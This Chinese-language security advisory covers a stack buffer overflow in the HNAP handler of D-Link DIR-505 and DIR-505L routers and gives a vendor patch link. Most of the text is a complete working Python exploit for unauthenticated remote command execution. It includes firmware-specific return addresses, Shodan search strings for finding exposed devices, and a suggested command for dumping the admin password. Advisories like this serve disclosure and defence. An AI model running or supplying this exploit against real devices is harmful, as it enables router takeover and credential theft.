DIR-505及DIR-505L栈缓冲区溢出漏洞


发布日期:2014-05-15
更新日期:2014-05-28

受影响系统:
D-Link DIR-505
D-Link DIR-505L
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 67651
 
Dlink专注于无线网络和以太网路硬件产品的设计开发。
 
DIR-505及DIR-505L无线路由器存在栈缓冲区溢出漏洞,在处理"Content-Length"报文头时,"do_hnap()"函数(/www/my_cgi.cgi)存在边界错误,这可使远程攻击者通过特制的 SOAP "GetDeviceSettings" HNAP 请求,利用此漏洞造成栈缓冲区溢出。
 
<*来源:Craig
 
  链接:http://secunia.com/advisories/58972/
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Craig ()提供了如下测试方法:
 ===================================================
 #!/usr/bin/env python
 # Unauthenticated stack overflow exploit that affects multiple D-Link products:
 #
 #  o D-Link DSP-W215 hardware v1, firmware v1.00
 #  o D-Link DIR-505L hardware v1/2, firmware v1.06/1.07
 #
 # Shodan Dorks:
 #
 #  o lighttpd/1.4.28-devel-4618M 
 #  o lighttpd/1.4.28-devel-2866M             
 #
 # The my_cgi.cgi CGI page responsible for handling HNAP requests reads
 # Content-Length bytes into a fixed-size stack buffer.
 #
 # This exploit returns to .text to execute system() with a user-supplied
 # command string (hint: try 'nvram get admin_user_pwd'). Output from the
 # command will be returned to the user.
 #
 # Craig Heffner
 # 2014-05-09

 import sys
 import urllib2

 class Device(object):
   
    def __init__(self, model, version, size, ra):
        self.model = model
        self.version = version
        self.size = size
        self.ra = ra

        self.model_html = "<ModelName>%s" % self.model
        self.version_html = "<FirmwareVersion>%s" % self.version

    def match(self, html):
        return (self.model_html in html and self.version_html in html)

 class Vulnerability(object):

    DEFAULT_COMMAND = 'nvram show'

    VULNERABLE_DEVICES = [
            Device("DIR-505", "1.06", 30000, "\x00\x40\x52\x34"),
            Device("DIR-505", "1.07", 30000, "\x00\x40\x5C\x5C"),
            Device("DSP-W215", "1.00", 1000000, "\x00\x40\x5C\xAC"),
    ]

    def __init__(self, target, verbose=True):
        self.verbose = verbose
        self.target = target
        self.url = "%s/HNAP1/" % self.target
        if '://' not in self.url:
            self.url = 'http://' + self.url
        self._debug_message("Exploit URL: %s" % self.url)

    def _debug_message(self, msg):
        if self.verbose:
            print "[+] %s" % msg

    def _debug_error(self, err):
        if self.verbose:
            print "[-] %s" % err

    def _build_exploit(self, device, command):
        # Return to .text section to execute system() with an arbitrary command string
        buf =  "D" * device.size  # Fill up the stack buffer
        buf += "B" * 4            # $s0, don't care
        buf += "B" * 4            # $s1, don't care
        buf += "B" * 4            # $s2, don't care
        buf += "B" * 4            # $s3, don't care
        buf += "B" * 4            # $s4, don't care
        buf += device.ra          # $ra
        buf += "C" * 0x28        # Stack filler
        buf += command            # Command to execute
        buf += "\x00"            # NULL-terminate the command
        return buf

    def _request(self, data=None):
        req = urllib2.Request(self.url, data)
        try:
            data = urllib2.urlopen(req).read()
        except urllib2.HTTPError as e:
            data = ""

            if e.code == 500:
                self._debug_message("CGI page crashed with no output (this may or may not be a good thing)!")
            else:
                self._debug_error("Unexpected response: %s" % (str(e)))

        return data

    def fingerprint(self):
        hnap_info = self._request()

        for device in self.VULNERABLE_DEVICES:
            if device.match(hnap_info):
                self._debug_message("Identified target as %s v%s" % (device.model, device.version))
                return device

        self._debug_error("Could not identify target!")
        return None

    def execute(self, device, command=DEFAULT_COMMAND):
        self._debug_message("Executing exploit [%s] against %s [%s v%s]" % (command, self.target, device.model, device.version))
        return self._request(self._build_exploit(device, command))
       
    def exploit(self, command=DEFAULT_COMMAND):
        device = self.fingerprint()
        if device:
            return self.execute(device, command)
        else:
            return ""

 if __name__ == "__main__":
    if len(sys.argv) != 3: 
        print "Usage: %s <target ip> <command to execute>" % sys.argv[0]
        sys.exit(1)

    target = sys.argv[1]
    command = sys.argv[2]

    print "\n" + Vulnerability(target).exploit(command)

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
D-Link
 ------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029

本文永久更新链接地址:

相关内容